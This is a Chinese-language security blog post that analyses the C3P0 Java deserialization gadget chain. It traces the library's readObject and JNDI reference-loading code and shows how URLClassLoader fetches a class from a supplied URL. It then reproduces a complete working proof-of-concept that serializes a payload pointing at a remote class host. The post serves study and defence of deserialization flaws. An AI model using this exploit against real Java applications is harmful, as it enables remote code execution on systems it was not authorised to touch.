C3P0反序列化链
2022-10-16
5 min read
C3P0反序列化链
正文
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。------su18
入口点是PoolBackedDataSourceBase,来看他readObject方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
先读了一个version,当version为1,读入一个对象,判断是否是IndirectlySerialized类的对象,如果是则调用getObject方法。这个类有一个实现类是ReferenceIndirector,getObject方法如下
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext initialContext;
if (this.env == null) {
initialContext = new InitialContext();
} else {
initialContext = new InitialContext(this.env);
}
Context nameContext = null;
if (this.contextName != null) {
nameContext = (Context)initialContext.lookup(this.contextName);
}
return ReferenceableUtils.referenceToObject(this.reference, this.name, nameContext, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}
throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}
env和contextName都为空的情况下,调用referenceToObject,跟进
public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException {
try {
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
Object cl;
if (fClassLocation == null) {
cl = ClassLoader.getSystemClassLoader();
} else {
URL u = new URL(fClassLocation);
cl = new URLClassLoader(new URL[]{u}, ClassLoader.getSystemClassLoader());
}
Class fClass = Class.forName(fClassName, true, (ClassLoader)cl);
ObjectFactory of = (ObjectFactory)fClass.newInstance();
return of.getObjectInstance(ref, name, nameCtx, env);
} catch (Exception var9) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var9);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause(var9);
throw ne;
}
}
获取了引用对象的类名和位置。使用了 URLClassLoader 从 URL 中加载了类并实例化。所以只需要把类名和恶意的url构造进去即可。
这里有个小坑哈哈,有段时间没学java了,这个恶意类需要从本地删除,不然他如果本地能找到就不会从url那去找了,我开始疑惑了半天,发现url乱写也能弹计算器。
构造
直接拿别的师傅的poc了吧,自己写太麻烦哩
package c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
PoolSource poolSource = new PoolSource("Demo1","http://127.0.0.1:8000/");
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
serialize(poolBackedDataSourceBase,"2.bin");
unserialize("2.bin");
}
private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public PoolSource(String classFactory, String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("feng",this.classFactory,this.classFactoryLocation);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void serialize(Object obj,String fileName) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream(fileName));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
参考
https://su18.org/post/ysoserial-su18-5/
https://javasec.org/javase/JNDI/
https://blog.csdn.net/rfrder/article/details/123208761